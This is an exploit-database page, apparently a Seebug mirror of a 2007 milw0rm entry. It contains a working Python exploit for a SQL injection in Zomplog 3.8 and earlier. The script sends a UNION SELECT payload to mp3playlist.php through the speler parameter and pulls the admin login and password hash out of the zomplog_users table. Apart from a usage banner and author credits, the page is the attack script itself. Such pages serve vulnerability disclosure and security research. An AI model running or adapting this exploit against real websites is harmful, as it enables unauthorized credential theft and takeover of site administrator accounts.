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Zomplog <= 3.8 (mp3playlist.php speler) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 7 Views

Zomplog mp3playlist.php speler Remote SQL Injection Exploi

Code

                                                #!/usr/bin/python
#----------------------------------------------------------------------------------
# The sql injection : /zomplog-3.8/plugins/mp3playlist/mp3playlist.php?speler=[sql]
# I&#39;ve code a sploit for the fun x)
#----------------------------------------------------------------------------------
# Zomplog website : http://zomplog.zomp.nl/
# Contact me : neomorphs-[at]-gmail-[dot]-com

import sys, urllib2

def usage():
	print &#34;+---------------------------------------------------+&#34;
	print &#34;| Zomplog Remote SQL Injection &#60;= 3.8 (mp3playlist) |&#34;
	print &#34;+---------------------------------------------------+&#34;
	print &#34;| Usage : zomplog.py [url + path]                   |&#34;
	print &#34;| Exemple : zomplog.py http://localhost/zomplog neo |&#34;
	print &#34;+---------------------------------------------------+&#34;
	print &#34;|      By NeoMorphS - Thxs to Gu1ll4um3r0m41n       |&#34;
	print &#34;|   Thxs too to #aerox(epiknet) #carib0u(worldnet)  |&#34;
	print &#34;+---------------------------------------------------+&#34; 

def attack(url):
	sql = &#34;/plugins/mp3playlist/mp3playlist.php?speler=999999999%20UNION%20SELECT%200,0,0,CONCAT(login,%200x2D4840434B2D,%20password),0,0,0,0,0%20%20FROM%20zomplog_users%20WHERE%20id=1%20/*&#34;
	print &#34;-&#62; connect to website&#34;
	try: source = urllib2.urlopen(url+sql).read()
	except: print &#34;-&#62; cannot connect to website&#34;; sys.exit()
	try: print &#34;-&#62; admin hash : &#34;+source.split(&#39;-H@CK-&#39;)[1].split(&#34;&#39;&#34;)[0]
	except: print &#34;-&#62; cannot find the admin hash&#34;

if (len(sys.argv) &#60; 2):
	usage()
else:
	attack(sys.argv[1])

# milw0rm.com [2007-05-20]

                              

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